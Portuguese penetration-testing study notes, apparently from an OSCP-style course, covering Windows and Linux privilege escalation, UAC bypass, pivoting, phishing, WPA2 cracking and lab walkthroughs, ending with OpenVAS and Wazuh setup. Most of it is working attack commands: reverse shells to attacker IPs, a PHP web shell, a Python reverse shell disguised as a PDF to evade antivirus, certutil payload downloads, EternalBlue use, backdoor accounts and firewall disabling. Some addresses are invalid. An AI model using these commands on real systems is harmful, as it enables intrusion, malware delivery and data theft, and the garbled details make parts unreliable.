  • Tunelamento: SSH (Not DONE)

Usar o que foi feito acima e fechar uma conexão usando o próprio ssh

ssh www-data@127.0.0.1 -p 2222 -i chave -L 3333:127.0.0.1:3306

Onde 3333 é a porta local que fechará o túnel com a porta 3306 (mysql) do alvo, dessa forma podendo diretamente da máquina atacante acessar o mysql da máquina alvo.

  • Tunelamento Windows (Not DONE)

O mesmo que foi feito no LINUX fazendo no Windows com o plink.exe, Subir ssh no atacante e rodar o comando do plink para tunelar a porta local do alvo na porta do atacante através do ssh que foi aberto na máquina do atacante.

Simular porta aberta enviando cmd:

No alvo

    nc.exe -vnlp 5555 -s 127.0.0.1 -e cmd.exe

No atacante

    sudo service ssh start

No Alvo

    plink.exe -ssh -l user -pw root -R ip-hacker:1337:127.0.0.1(ip-local-alvo):5555 ip-hacker
  • Enumeração Host: Windows

Comandos úteis para fazer o reconhecimento do ambiente

whoami

whoami /groups

net user kidman

ne user

hostname

systeminfo

systeminfo | findstr "Os Name"

systeminfo | findstr /C:"OS Name"

tasklist

tasklist /SVC

ipconfig /all

arp -a

route print

netstat -ano

sc query windefend

netsh advfirewall show currentprofile

where /?

where /R c:\web.txt Procura pelo arquivo web.txt

findstr /s "pass=" *.txt 

Procura em arquivos txt a palavra pass=

type /caminho/do/arquivo.txt 

Ler um arquivo igual o cat

  • Enumeração automatizada: Windows

Ferramentas:

WinPeas.bat 

Combina comandos com o a aula anterior e traz resultados interessantes do alvo

WesNG 

Precisa dos dados sysinfo.txt para poder cruzar com a base atual e traz os possíveis exploit

  • Privilégios e Mecanismos de Integridade

Usuário com nível de administrador não faz atividades administrativas devido o level mandatory ser Medium sempre é perguntado pela UAC para dor o ok na permissão e executar a ação, diferente do usuário que tem a permissão do mandatory High.

Para saber o level:

    net user usuário. 

Para trocar de usuário no terminal

    runas /user:username cmd
  • Estudo Técnico: Bypass UAC I e II

Passos:

    Encontrar programa que tenha o HIGH nos privilégios, executar ele escutando com o procmon, 

    Procurar por registros `notfound` no diretório do usuário `HKCU`, 

    Alterar/criar um registro que não tenha ainda sido criado e pedir para ele executar o `cmd.exe`. 

    Assim terá um cmd com acesso privilegiado.

    Fazer download dos programas `SysinternalsSuite` para servir de análise dos programas e suas permissões. 

    Principais: Procmon e sigcheck. 

Nota: Boa parte dos programas chamados pelo cmd está no system32

internals: sigcheck.exe -a -m C:\Windows\System32\notepad.exe | computerdefaults.exe | fodhelper.exe 

Mostra os privilégios que o programa precisa para funcionar. a Ideia é procurar o mais alto nível para explorar. Se o autoelevate estiver true, não será necessário a senha do administrador

Process Monitor Filtrar o nome do processo Computerdefaults.exe ou outro que tenha encontrado com privilégios. Depois executa o mesmo. Adicionar um filtro reg, filtrar o Path contains HKCU, Filtrar result contains name not found, Procurar registro shell open command que está setado como notfound. E adicionar o caminho reg add caminho/do/refistro/completo, Limpa a tela e executa o procmon de novo. Caso haja outra chamada em notfound adicionar ela reg add caminho/do/registro/completo /v DelegateExecute(nome endontrado) /t REG_SZ Já no filtro SUCCESS Verificar se já não há uma chamada sem valor e adicionar o cmd.exe com o comando reg add caminho/do/registro/completo /d "cmd.exe" /f Ou fazer via interface no registro. reiniciar o programa e o cmd.exe vai executar.

  • Windows PrivEsc: Certificate Dialog

Diffie-Hellman CVE-2019-1388 Vulnerabilidade que tem um executável, já inclusive no github/jas502n/cve-2019-1388 Que quando executado, é necessário ver o sertificado da aplicação que automaticamente abre o internet-explorer como user system, que permite acessar os arquivos na barra de menu, que pode-se abrir o /windows/system32/cmd.exe quando o cmd abre, já abre como usuário system, podendo fazer qualquer modificação naquele alvo.

  • Windows PrivEsc: Serviços I e II

É uma falha onde você após estar com a shell, vai tentar identificar onde há serviços que são manipuláveis pelo seu usuário atual, alterando o path dele com um comando para injetar uma shell nele e ganhar acesso a nível de sistema... DllHijack, trocar o path da dll que esta com notfound e colocar a dll gerada no msfvenom

wmic service get Name,State,PathName | findstr "Runing" | findstr "Program"

icacls "c:/caminho/do/programa/aqui.exe" 

Se houver o (F) significa FULL ACCESS

Alternativa

    accesschk.exe -wvcu "Users" * 

No sysinternals pode usar o programa passado e obter informações diretamente, assim podendo achar informações que o grupo users pode ter full access

sc query NomeDoServico 

Pegar informações do serviço

sc qc NomeDoServico 

Pegar informações do serviço

sc config NomeDoServiço binPath="net user hack adm@123 /add" 

Altera o Path para rodar o comando quando o programa for reiniciado

sc stop NomeDoServico

sc start NomeDoServico

sc config NomeDoServiço binPath="certutils -urlcache -f http://ip:porta/shell.exe shell.exe"

Criar uma shell com o msfvenom em exe Reiniciar o programa/serviço

sc config NomeDoServiço binPath="shell.exe"

Reiniciar o programa/serviço

Nota: Quando sem permissão de alterar o path do serviço nem reiniciar, pode-se tentar adicionar a shell no diretório deste serviço e substituir o nome da shell pelo nome do programa usando o comando MOVE e colocar para reiniciar o host, fazendo com que ao iniciar, o "programa" (shell) inicie junto.

  • Enumeração Host: Linux

.

id

cat /etc/passwd

hostname

uname -a

.

cat /etc/issue 

Versão exata do ubuntu/SO

cat /etc/*-release 

Informações de versões do sistema (search for exploits)

dpkg -l | grep "wget"

ifconfig -a

route

netstat -nlpu | nlpt 

.

ps aux 

Programas que estão em execução

cat etc/crontab 

Pega a tabela de agendamento de tarefas

find / -writable -type d2>/dev/null 

Pega os arquivos que tem permissão de escrita pelo user atual

find /caminho/do/diretorio -user fernando -type f \( -perm -u=wx \) -print

Pega os arquivos do usuário fernando que tem permissão de execução e escrita pelo user atual

find / -perm -4000 2>/dev/null

Find All SUID binaries

find / -perm -u=s -type f 

Pega os arquivos do usuário com priv alto

sudo -l 

Lista prog que estão sendo executados pelo sudo

  • Enumeração automatizada: Linux

.

LinPeas 

Ferramenta de enumeração para linux, do criador do WinPeas GitHub/carlospolop/linpeas

Linux-Exploit-Suggester 

Outra ferramenta de enumeração linux - github/mzet-/linux...

  • Linux PrivEsc: Sudo

Quando dado o comando sudo -l ele te mostra quais programas são iniciados com o sudo... se caso tiver mostrando o VIM ou ALL

vim -c '!id'

sudo vim -c '!id'

sudo vim -c '!bash' 

:!bash

docker run --rm -it -v "/:/mnt" bash
  • Linux PrivEsc: Permissões e Cron

Ao enumerar o host identificar possíveis diretórios com permissão de escrita.

ls -la /etc/cron* 

Lista as cron que roda no servidor

cat /etc/crontab

find / -type f -perm 777 2>/dev/null

.

ls -la /etc/cron.outly/

Se o arquivo tem permissão 777 editar e colocar o código..

nc -e /bin/bash Ip-do-Atacante Porta

Desafio: Invadir os hosts 192.200.0.15,20,30,40 e pegar o acesso ao host coreserver

  • Linux PrivEsc: Kernel

Procurar por vulnerabilidades, podendo usar a ferramenta do Linux-Exploit-Suggester. Ao encontrar as CVEs pesquisar por exploits públicos, no exemplo DirtyCows cowroot.c

Com o exploit, deve-se atentar para o payload, identificando se o sistema é 32 ou 64bits

gcc priv.c -o -pthread -m32 Usar o -m32 

Para compilar para sistema 32bits, se 64 não passa nada. Usar –static caso tenha erro

Com o arquivo em mãos

    ./arquivo 

E passará a ter acesso root ao sistema. 48.60.285.342/blog

wget https://link.aqui.com -no-check-certificate 

Wget com flag para não checar o certificado https

PrivEsc Linux Kernel 2024: EXPLOIT

  • Pivoting: Da internet para a rede interna

Ao ganhar acesso a uma máquina na internet, verificar a possibilidade de navegar na rede interna daquele host, que é chamado de Pivoting. Usando uma shell para conectar com o Meterpreter

meterpreter> ifconfig 

Verificar as interfaces

meterpreter> route 

Verifica a tabela de roteamento

meterpreter> run autoroute -s 10.10.20.0/24 

Faz uma rota para a rede interna podendo ser varrida pelo meterpreter

meterpreter> background 

Deixar a sessão em segundo plano

meterpreter> use auxiliary/server/socks4a 

Módulo para comunicar com a máquina local RUN

sudo nano etc/proxychains.conf

Editrar: 127.0.0.1 1080 Porta do modulo aberto no metasploit

proxychains nmap -v --open -sT -p 110,139 -Pn 10.10.20.0/24 

Usar o proxychains para varrer a rede

Ao descobrir uma porta 10.10.20.4 porta 110 É possível fazer um tunelamento para a máquina atacante através do meterpreter na sessão do host principal

meterpreter> sessions -i 1 

Volta para a máquina que está exposta na internet

meterpreter> portfwd -l 110 -p 110 -r 10.10.20.4

Faz um portfwd com meterpreter

nmap -v -sV -p 110 10.10.20.4

ENGENHARIA SOCIAL

Livros:

    Arte de Invadir

    Arte de enganar

Filmes:

    Prenda-me se for capaz
    VIPs
  • Campanhas de Phishing

Ferramenta GoPhish github/gophish/releases, baixa a ferramneta dá chmod 777 ./gophish e depois ./gophish e acessa o link que vai aparecer no terminal e coloca a senha que também aparece no terminal. Configura o usuário alvo, template origem, a landing page e o email sender, caso seja Gmail smtp.gmail.com:465 na conta do gmail, ativar o 2FA e coloca a opção adicionar um outro app cria um nome para o app -> copia os caracteres -> em sending profiles adiciona o email e os caracteres copiado do 2FA.

  • Código indetectável pelos antivírus disfarçado de PDF

.

import socket,os

os.popen(explorer http://site.com/pdf)

ip = "192.168.25.2"

porta = 80

s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((ip,porta))

while True:

    cmd = s.recv(1024)

    for comando in os.popen(cmd):

	  s.send(comando)

Podendo ser feito um exe usando o python

    pyinstaller.exe ..\cod.py --onefile --windowed --icon=pdf.ico

Nota: Criar um arquivo sfx com o winrar e abrir o código por trás dando acesso à shell da máquina

Cherrrytree Editor de texto bem organizado e bom para anotações de relatórios

WIFI HACKING BONUS INTRODUÇÃO

Colocar a placa de rede wireless em modo monitor para escutar os dados que estão trafegando próximo da placa de rede.

iwconfig 

Informações da placa de wireless

airmon-ng 

Ferramenta de monitoramento de rede wireless

airmon-ng check 

Checa os processos abertos

airmon-ng check kill 

Mata os processos abertos

iwconfig wlan1 mode monitor 

Habilitar apenas a placa wireless sem matar os as outras redes

airmon-ng start wlan-interface 

Habilitar o adaptador wireless para entrar em modo monitor

tcpdump -vv -i wlan0mon 

Capturar os sinais que estão próximos

airodump-ng wlan0mon 

Capturar dados dos sinais wifi próximos e trazer informações organizadas

airodump-ng wlan0mon -c1 

Capturar dados dos sinais wifi que estão no canal 1

airodump-ng wlan0mon -c1 --bssid MAC ADDRESS 

Capturar dados dos sinal usando o MAC do rtr

airmon-ng stop wlan0mon 

Parar a captura dos sinais wifi

service network-manager start 

Restaura a rede wireless para o modo managed

Quando escutando no BSSID que é do roteador alvo e receber o MAC da estação e o modo de bloqueio for MAC e não a senha WPA2, pode-se trocar o MAC da placa de rede do atacante macchanger -m MA:CD:MA:C wlan-interf e subir a interface novamente para acessar a rede wifi.

  • Atacando o protocolo WPA2

Após deixar a placa em modo de captura habilitado, rodar o comando abaixo para monitorar os sinais próximos.

airodump-ng wlan0mon -c1 --bssid MAC ADDRESS -w captura.wpa2.cap

Coloca em modo de captura salvando em arquivo.cap

aireplay-ng -0 10 -a MAC-ROUTER -c MAC-CLIENT  wlan-interf 

Manda 10 pacotes de desautenticação.

Quando aparecer o handshake no canto superior da tela, parar a captura e pagar o arquivo que foi salvo a captura.

aircrack-ng captura.wpa.cap -w /caminho/wordlist 

Faz um bruteforce da senha wpa capturada.

airdecap-ng -p s3nh4d0w1f1 captura.cap -e ssid-em-texto 

Vai gerar um arquivo para ler no wireshark

THAT'S ALL FOLKS

HANDS ON

  • Company 2

Host Second:

    https://www.100security.com.br/ms17-010 #eternalblue #doublepulsar 

192.168.1.145

Alternativo Host Company 2 145:

    https://github.com/sailay1996/eternal-pulsar

Fazer o clone do repositório e entrar na pasta depens.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.73 LPORT=8080 -f dll > shell.dll

Cria payload para shell reverso

wine cmd

Em outro terminal:

    rlwrap nc -vnlp 8080

No terminal do wine:

Eternalblue-2.2.0.exe --TargetIp 192.168.1.145 --Target WIN72K8R2 --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig 1.txt

Doublepulsar-1.3.1.exe --OutConfig 2.txt --TargetIp 192.168.1.145 --TargetPort 445 --DllPayload shell.dll --DllOrdinal 1 --ProcessName svchost.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll

Os dois comando acima vai mandar a shell no terminal que tava com a porta aberta pelo nc

Na shell do alvo:

    net user suporte 12345

    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f

    NetSh Advfirewall set allprofiles state off

.

rdesktop 192.168.1.145 

Acessa a máquina com login e senha criado acima

192.168.1.140

Elevar privilégios para acessar as pastas do... Após descobrir a Vulnerabilidade DiffieHellman pesquisar exploit... e prosseguir com as máquinas…

https://github.com/jas502n/CVE-2019-1388

Seguir o tutorial

    Abrir o arquivo.exe 

        -> abre o link do certificado 

            -> Salva a página no system32/cmd.exe e abrirá a shell com privilégios administrativos.

Navegar pelas pastas e abrir o WinScp.exe que vai dar acesso ao host 192.200.10.5

192.200.10.5

Elevar privilégios no host - Nmap Exploit

https://w0lfram1te.com/privilege-escalation-with-nmap

sudo -l 
sudo nmap --interactive
nmap> !sh
cat /etc/passwd e shadow

Captura as hashes e encontra a senha para o host 192.200.10.8 homologacao

192.200.10.8

Elevar privilégios no host - Kernel Exploit

https://book.hacktricks.xyz/linux-hardening/privilege-escalation

cat /proc/version 
searchsploit "linux-version"
https://github.com/xiaoxiaoleo/CVE-2009-2698

importar o arquivo no alvo (dar permissão) e executar

  • Company 3

Hosts:

192.168.1.240

Ao descobrir uma vulnerabilidade no webmin de LFD com nmap, explorar com o exploit abaixo

https://github.com/IvanGlinkin/CVE-2006-3392

Ao pegar o shadow e passwd, quebrar as senhas e acessar o server via ssh,ftp...

  • Company 4

192.168.1.116

Ao descobrir as tecnologias e portas abertas, procurar por algo na url que permita mandar um arquivo pra dentro da máquina... O acs_path= É encontrado no código fonte como hidden

Fazer um exploit com msfvenom em php/reverse_php > config.php (esse config é o arquivo que a vítima pega por padrão) abrir server http com python e deixar escutando na porta do exploit com netcat e inserir na URL vitma/adm.php/ACS_path=IP-ATACANTE:porta-do-srv-http/

PrivEsc do host 116

Varredura com o less.sh que mostra as possíveis vulnerabilidades e exploits

Após achar um exploit dirtcow rootcow.c ajustar para 32bits e executar

gcc -m32 cowroot.c -o cowroot -pthread -static 

Gera o executável (instalar pacote gcc-multilib se necessário)

192.168.1.195

Após analisar a aplicação com acesso admin, no campo de upload de arquivo pode se enviar um comando em php para a máquina usando um modelo de arquivo csv, separado por vírgula.

Após enviar uma shell reversa com NC, fazer uma enumeração do host usando less, linpeas e procurar vulnerabilidades.

comando com problema achado no linpeas -> /bin/bash -p

Site para procurar comando de escalar privilégios

    https://gtfobins.github.io/gtfobins/bash/

Site para montar shell reverso https://www.revshells.com/

  • Company 5

Host: 192.168.1.158

Bruteforce usado Hydra

hydra -s 80 -L users.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.158 http-post-form "/otrs/index.pl:Action=Login&RequestedURL=&Lang=en&TimeOffset=180&User=^USER^&Password=^PASS^&submit:failed" -I

Exploit 45010 encontrado pelo less.sh

unoconv --format=docx Administrator.doc 

Converter documentos antigos do WORD Office

Quebrar senha xls planilha scheets:

    https://www.password-find.com/crack_office_password_js.htm
  • Company 6

192.168.1.110

Bruteforcer: crowbar brute force alternativo do hydra mas inferior

Exploit for rdp windows

    https://github.com/BlackMathIT/Esteemaudit-Metasploit 

kiwi e pega as creds necessárias

192.168.1.120

Não é necessário Exploit vuln cuppa cms?

    https://www.exploit-db.com/exploits/25971

Exploração via Kernel usando o metasploit com banco de dados, abrindo sessão com ssh_login e usando a sessão para o exploit:

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/freebsd/local/intel_sysret_priv_esc.rb

Ajuda: https://mysnippets443.wordpress.com/2020/03/09/metasploit-establish-a-ssh-session-for-further-use/

  • Company 7

192.168.1.139

ENUMERACAO com nmap, dirb e metasploit

Procura pela internet por exploits:

https://www.exploit-db.com/exploits/14641 - Dir Transversal

https://www.exploit-db.com/exploits/50057 - RCE

192.168.1.156

ENUMERACAO com nmap, dirb e metasploit

Login e senha encontrado no lab anterior

Upload de payload .war e ganha a shell

  • Company 8

192.168.1.155

Bruteforce no host com:

    Dirb no host com -X .pdf,.html,.txt,.htm

Metasploit

    Com ipfire oinkcode

Client for FTP portable

https://www.ncftp.com/download/ 

curl -v –disable-epsv -u user:pass ftp://192.300.10.101:2221/Inetpub/ 

Conectar FTP via curl

curl -v -T "shell.asp" -u user:pass ftp://192.300.10.101:2221/Inetpub/ 

PUT via CURL

meterpreter> portfwd add -l 8088 -p 80 -r 192.300.10.101 

Redirecionamento de portas 8088 local da 80 remota OU add regra no firewall: any de fora para NAT 192.16.1.10 na porta dest 2221. Irá no IP do firewall liberar a porta 443 apontando para o IP interno 192.168.1.10 na mesma porta

Faz upload de uma shell.asp no msfvenom para o ftp pasta da web e chama com um multi/handler escutando. E pega o meterpreter do host 192.200.10.101 que é o server interno do firewall que foi criado a regra.

  • Company 9

192.168.1.159

Joomla... https://www.exploit-db.com/exploits/47465 adaptado

    python2 joomla-expl.py -t http://192.168.1.10/ --exploit --lhost 192.10.1.10 --lport 445

Depois do comando com o nc 445 aberto pega a shell reversa

    getcap -r / 2>dev/null 

Analisa saída

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c 

PRIVESC

PrivEsc com capabilities

    https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/

192.168.1.148

Exploit da tecnologia usada no server drupa7-CVE-2018-7600.py (executa compilação no server alvo)

NC Portable

    https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat

Escalar privilegios com

    https://www.exploit-db.com/exploits/37292 (pega a shell root)

Nota: Quando aparecer no gcc o erro undefined reference to 'openpty' usar a flag no gcc -lutil no fim

Ao compilar opte por compilar no alvo e se nao funcionar compila na sua máquina

Notas: DirtyCow - PrivEsc:

https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c Exploit PrivEsc

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

https://security.stackexchange.com/questions/145325/exploiting-dirty-cow-using-metasploit

  • Company 1

    script nomedoarquivo

Salva/grava todo terminal até da EXIT

nmap --min-rate=60000

Envia/aumenta ao envio de pacotes para o host (detecção mais rápida)

gobuster dir -u http://kidman.com.br -w /usr/share/dirb/wordlists/big.txt -t 100 -e --no-error -r -o gobuster -x php,bkp,old,txt,xml

Bruteforce nos diretórios do domínio com 100 threads url completa sem retorno de erro, seguir caminho de redirecionamento e gravar tudo no arquivo gobuster com tipos de arquivos, dessa forma procurando por entry points.

Nota: Seclists baixar pasta de wordlists do github

wc -l arquivo 

Retorna a quantidade de linhas no arquivo

hydra -v -t10 -l kidman -P wordlist ftp://kidman.com.br -s 2121 

Faz um ataque de força bruta usando o hydra com 10 threads na porta 2121 (diferente da padrão)

Nota: Processo de força bruta com o BurpSuite send to intruder->clear_all->add_field->payload->options

nc -v -C site.com.br 

Mantém o terminal aberto.

echo "http://website.com" | /root/go/bin/html-tool atribs src href | grep -i ".js" /root/go/bin/getJS --url http://web.site.com/redirecionamento.php --complete

Ferramenta parsing website no github.com/tomnomnom e getJs para subir arquivos JS

Nota: Em uma URL com final e.x: ...downloads.php um possível teste de vulnerabilidade é testar com downloads.php?file=downloads.php (esse produtos.php é o arquivo que você quer analisar) "no for use ? para não interpretar" e nisso descobrir se há vulnerabilidade, o nome file pode estar em uma wordlist para rodar até encontrar o parâmetro correto. Outro teste que pode ser feito é colocar file=/../../../../../../etc/passwd

Nota: Instalar pacote de wordlists apt install seclists e selecionar a lista para usar no burp cp /usr/share/wordlists/seclists/Discovery/Web-content/burp-parameter-names.txt burp-param.txt

wfuzz -c -z file,burp-param.txt --hl 0 http://site.com/downloads.php?FUZZ=download.php 

Faz uma procura pelos parâmetros da lista na tentativa de encontrar um parâmetro vulnerável e explorá-lo e após encontrar o payload correto, tente colocar/navegar para encontrar outros arquivos e visualizando o código fonte.

http://site.com/produtos.php?id=10 and 2=2# 

Testes direto na URL de validação do banco de dados, se o banco retornar com a página mostrando aquele id é possível explorar o banco através de blind sql injection.

http://site.com/produtos.php?id=10 and(select*from*(select(sleep(10)))asdasd)#

Outro modo de validação, se o banco demorar 10 segundos para responder é um indício de vulnerabilidade de blind sql injection.

http://site.com/produtos.php?id=10 and database()=char(EmDecimalCom;)#

Validando o nome do banco de dados

COMANDOS PARA EXPLORAR VULN DE SQL

sqlmap -v -u "http://site.com/produtos.php?id=10" --current-db --threads=10

Analisa a database atual procurando por vulnerabilidades

sqlmap -v -u "http://site.com/produtos.php?id=10" --dbs --threads=10

Lista as databases dentro do server

sqlmap -v -u "http://site.com/produtos.php?id=10" --threads=10 -D db_name --tables

Lista as tabelas do banco selecionado

sqlmap -v -u "http://site.com/produtos.php?id=10" --threads=10 -D db_name -T table_name --columns

Lista as colunas da tabela selecionada

sqlmap -v -u "http://site.com/produtos.php?id=10" --threads=10 -D db_name -T table_name -C 'nome,email,senha' --dump

Lista os conteúdos das colunas selecionadas.

hash-identifier cola_hash_para_descobrir 

Identifica uma hash, o tipo da hash

echo -n "word" | md5sum 

Printa em MD5 uma palavra informada

Nota: Ferramentas para quebrar hash: hashcat, jhon

TENTATIVA DE EXECUÇÃO DE CÓDIGO REMOTO FILE UPLOAD

nano arquivo.php

Crie um arquivo para fazer upload no site. (com o código abaixo)

<?php
system($_GET['pentest']);	
?>

put arquivo.php 

No FTP faça upload do arquivo criado

site.com/diretório/arquivo.php?pentest=ifconfig 

Acessar a url no diretório do arquivo e passando o parâmetro colocado no arquivo podendo executar comandos.

cp /usr/bin/nc 

Copie o binario do netcat

put nc 

No FTP faça o upload do netcat

Nota: Copie usando a url, o arquivo do netcat para um outro local e dê permissão 777 nele cp /tmp/ncat e depois podendo abrir uma shell reversa usando o nc em tmp.

nc -vnlp 80 

Abra uma conexão na sua máquina

site.com/diretório/arquivo.php?pentest=/diretorio_netcat/nc 172.52.8.7 -e /bin/bash

Mande para a sua máquina o terminal do servidor via netcat

Comandos para dar spawn um bash mais interativo

    sudo python -c 'import pty; pty.spawn("/bin/sh")'

    sudo perl -e 'exec "/bin/sh";'

    sudo ruby -e ‘exec "/bin/sh"’

    python3 -c 'import pty;pty.spawn("/bin/bash")' 

ESCALANDO PRIVILEGIOS PRIVESC

Ao rodar o comando sudo -l e identificar que há permisão especial rodar /bin/bash -p pra tentar escalar, esse comando se dá caso alguém ja tenha executado sudo chmod +s /bin/bash, uma espécie de backdoor

Ao identificar que o SUDO é vulnerável v1.8* rodar o comando sudo -u \#$((0xffffffff)) /bin/bash pra tentar escalar

find / -perm -u=s -type f 2>/dev/null 

Procura por arquivos com SUID BIT ativo e procurar por um arquivo diferente para tentar escalar privilégios

echo "/bin/bash > cat 

Dentro de tmp cria uma arquivo cat com bin/bash escrito dentro (dê chmod 777)

env 

Lista o PATH e outras infos

echo $PATH  

Lista o caminho total do PATH

export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/tmp" 

Modifica o PATH para chamar o cat dentro de TMP

Agora só executar o arquivo ou se for uma cron, esperar ela rodar.

NOTA: Após comprometer um HOST e escalar privilégios, rode este comando para apresentar uma saída limpa e padrão OSCP:

cat /root/key.txt && hostname && id && whoami && ifconfig 

NOTA: Amostra sobre uma alternativa para ProxyChains o Privoxy. https://www.youtube.com/watch?v=y9iSVx4XWhQ Alternativa para teste de LFD /..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd Comando para uma shell interativa: echo 0 > /proc/sys/vm/dirty_writeback_centisecs

ALEATORY NOTES

Ferramenta de shell interativa web WEEVELY

Ferramenta para shell interativa no windows evil-winrm -i IP -u USER -p PASS

  • INFORMATION GATHERING

Websites for search:

    https://consultas.plus/
    https://www.cnpj.world/
    https://urlscan.io/ 

Fuzzing de SUBDOMINIOS

    https://github.com/netsecurity-as/subfuz

Transferir arquivos do alvo para o atacante / copiar arquivos:

    netcat nc porta > file.etx | nc.exe -v ip porta < file.ext
    python httpserver
    Montar disco na maquina alvo para transferir arquivos 
    Colocar no site que tiver aberto e baixar
    Transferir via ssh scp file.ext user@ip:/home/user
impacket-smbserver folder2share . -smb2support -> copy \\IP-SMB-SHARE\folder2share\file.ext 

TIPO DE ARQUIVO PARA GOBUSTER DIRB BURPSUIT

    php,bkp,old,txt,xml,cgi,pdf,html,htm,asp,aspx,pl,sql,js
    Flag user agent  -a Mozilla/5.0

Ferramenta animal par ENUMERAÇÃO WEB

    wapiti --url http://rh.kidmancompany.com.br/

Fazendo tunelamento com NGROK

    Acessa o site: https://ngrok.com/
    Cria a conta e pega o token
    Baixa o programa e joga na pasta bin
    ngrok authtoken TOKENAQUI
    ngrok http 80
    ngrok tcp 4455
    ~/.ngok2/ngrok.yml

            tunels:
               tunnel_1:  
                  proto: http
                  addr: 80

Salva e inicia...

    ngrok start --all: Abre as conexões configuradas no arquivo yml

INSTALL OPENVAS | GVM | GreenBone

Openvas é um framework de scan de vulnerabiliadades

sudo apt update
sudo apt upgrade
sudo apt install gvm
sudo gvm-setup 
sudo gvm-check-setup
sudo runuser -u _gvm -- greenbone-feed-sync --type SCAP
sudo gvm-start

Se der erro roda esse comando:

chmod 666 /var/log/gvm/openvas.log

Para criar o login e senha rode:

sudo runuser -u _gvm -- gvmd --create-user=Admin --new-password=admin

Ficar atento às informações de resultado dos comandos e posteriormente https://localhost:9392

Primeiras configurações:

Criar um portscan avançado e um filtro de resultados avançado e setar os alvos
Para criar o portscan vai em: Configuration -> Port Lists -> clica em novo -> Nomeia e Seta todas as portas UDP e TCP
Para criar o filtro vai em: Configuration -> Filters ->  -> clica em novo -> Nomeia e Seta o tipo como Result	
Para setar os alvos vai em: Configuration -> Targets -> Clica novo -> PortList selecina a criada anteriormente -> Depos em Consider Alive
Para setar um ScanConfig vai em: Configuration -> ScanConfig -> Cria novo -> seleciona Full and Fast
Para iniciar um scan vai em: Scan -> tasks -> New -> Scan Target:TargetCreated -> MinQoD:0% -> ScanConfig:FullandFast -> scan type: GVM default

Em caso de apresentar erro ao fazer um scan ou criar algum configuração de scaneamento - Failed to find config 'daba56c8-73ec-11df-a475-002264764cea'

sudo runuser -u _gvm -- gvmd --get-users --verbose
sudo runuser -u _gvm -- gvmd --get-scanners
sudo runuser -u _gvm -- gvmd --modify-scanner [SCAN ID] --value [USER ID]

ALTERNATIVA

  • UPDATE OPENVAS

Comandos para atualizad o GreenBone

sudo apt update && sudo apt upgrade
sudo reboot
sudo greenbone-feed-sync
sudo gvm-check-setup
sudo gvm-start

Rodar todos esses comandos com atenção e observando se tudo está ok. Após rodar, acessar a web novamente e gerar os relatórios

Erro na interface web, não carrega em outro dispositivo na rede

cd /lib/systemd/system
nano greenbone-security-assistant.service TROCA 127.0.0.1 pelo IP local e PORTA pela 443
sudo gvm-stop
sudo gvm-start

O comando é usado para trocar o IP localhost por um ip de preferência

openssl s_client -connect 10.1.1.10:443

Verificar se a conexão está ok

$INSTALL_PREFIX/var/log/gvm/gsad.log

Verificar os logs

Notes: Quando rodar o Check-Setup e aparecer a mensagem "the default postgresql version is not the one used for gvmd" de Rode os comando sudo pg_lsclusters e de acordo com a saída dê um upgrade no último pg_upgradecluster 15 e depois rode e sudo systemctl restart postgresql -> sudo gvm-setup -> sudo greenbone-feed-sync -> sudo gvm-check-setup depois pode acessar a web.

  • Gerar relatório

1- Primeiro passo é filtrar todas as informações, para isso pode ser criado um filtro

2- Acessa o scan que deseja fazer o relatório e vai em results e espera carregar, todos os dados devem aparecer, results, hosts, vulns...

3- Em caso de nao aparecer todas as informações do scan, deve se aguardar para ver se em feed status ainda está como in progress

4- Em Administration -> feed status em pode ainda estar in progress e caso esteja, o que pode ser feito é rodar o feed-update de novo

4.1- Ou Esperar aparecer current em todos os campos do feed status (isso pode demorar uma hora ou mais)

Depois de tudo OK Acessa o terminal

cd /tmp/
sed -i"" "s/DEFAULT_TIMEOUT = 60/DEFAULT_TIMEOUT = 999999/g" /usr/lib/python3/dist-packages/gvm/connections.py
cp /home/user/gen_report_full.py /tmp/
sudo -u _gvm gvm-script --gmp-username user --gmp-password "P@ss" socket --socketpath /var/run/gvmd/gvmd.sock /tmp/gen_report_full.py 15ce5a51-43ef-465a-a4d3-b65dd1d0d61f /tmp/COMPANY_NETWORK_IP_DATE
pip3 install OpenVAS-Reporting && pip install gvm-tools
openvasreporting -i /tmp/COMPANY_NETWORK_NW_DATE.xml -o /tmp/COMPANY_NETWORK_IP_DATE  -f xlsx

Problemas que podem acontecer e possíveis soluções

Primeira dica é rodas os comandos acima novamente e se mesmo assim não der certo, voce pode tentar atualizar o GVM e etc

Caso aprensente algum erro, como por exemplo Remote manager daemon uses an unsupported version of GMP. The GMP version was 22.5, pode-se tentar atualzar o Python-GVM Existem 3 opçoes de instalação, se necessário tente todas. Mas uma boa alternativa é python3 -m pip install --user python-gvm --upgrade

DEPLOY RAPIDO DE UM SIEM WAZUH

Olá, comandos rápidos para configurar um WAZUH sem complicação.

Após o servidor [LINUX Debian Based] estiver configurado e pronto para uso, rode os seguintes comandos:

REF: https://documentation.wazuh.com/4.3/quickstart.html

    curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh && sudo bash ./wazuh-install.sh -a 

    Vai aparecer o login e senha -> anote-os

Vai no navegador e acesse: https:// Coloque o login e senha anteriormente anotado.

Ao acessar o dashboard, vai em Agents e configure de acordo com o ser server a ser monitorado, exemplo de Linux 64bits Ubuntu

Antes de rodar o comando abaixo, trocar o IP par ao IP do seu servidor WAZUH
